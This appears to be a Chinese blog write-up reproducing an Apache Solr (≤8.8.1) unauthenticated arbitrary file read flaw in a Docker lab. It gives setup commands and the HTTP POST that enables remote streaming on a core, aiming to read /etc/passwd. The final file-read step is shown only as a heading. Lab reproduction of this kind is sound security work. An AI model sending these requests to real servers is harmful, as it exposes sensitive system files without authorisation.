Apache-Solr 任意文件读取漏洞复现

2021.3.18新出的,无CVE编号 
Apache Solr是一个开源的搜索服务,使用Java语言开发,主要基于HTTP和Apache Lucene实现的。它是一个独立的企业级搜索应用服务器,它对外提供类似于Web-service的API接口。用户可以通过http请求,向搜索引擎服务器提交一定格式的XML文件,生成索引;也可以通过Http Get操作提出查找请求,并得到XML格式的返回结果
一、漏洞描述
Apache Solr 存在任意文件读取漏洞,攻击者可以在未授权的情况下获取目标服务器敏感文件
二、漏洞影响
Apache Solr <= 8.8.1
三、漏洞复现
使用docker搭建环境:
docker pull solr
docker run --name solr2 -d -p 8081:8983 solr
docker exec -i -t solr /bin/bash 在运行的容器中执行命令
# 如果不把这块放进去新建 core 的时候会报错的
cd /opt/solr-8.7.0/server/solr/configsets/_default
mkdir /var/solr/data/new_core
cp -r conf /var/solr/data/new_core
 
关闭容器。 并重启;
docker stop 1ba20afe247f
docker start1ba20afe247f
访问 Solr Admin 管理员页面 ,版本为8.7.0
新建 core
②、漏洞复现
第一步:获取 core 的信息:
http://xxx.xx.xx.xx:8081/solr/admin/cores?indexInfo=false&wt=json
第二步:判断是否存在漏洞 :
返回 200 并且包含 This response format is experimental. It is likely to change in the future 可能存在,需要进一步的去读取 /etc/passwd 或者其他进行确认最终是否存在读取漏洞
 
数据包:

POST /solr/new_core/config HTTP/1.1

Host: 127.0.0.1:8081

User-Agent: Mozilla/5.0 (X11; Linux x86_64; rv:68.0) Gecko/20100101 Firefox/68.0

Accept: text/html,application/xhtml+xml,application/xml;q=0.9,*/*;q=0.8

Accept-Language: en-US,en;q=0.5

Accept-Encoding: gzip, deflate

Connection: close

Upgrade-Insecure-Requests: 1

Cache-Control: max-age=0

Content-Length: 82

{"set-property" : {"requestDispatcher.requestParsers.enableRemoteStreaming":true}}

第三步:读取文件 /etc/passwd:
 
 

猜你喜欢

转载自blog.csdn.net/weixin_40602516/article/details/115023262
今日推荐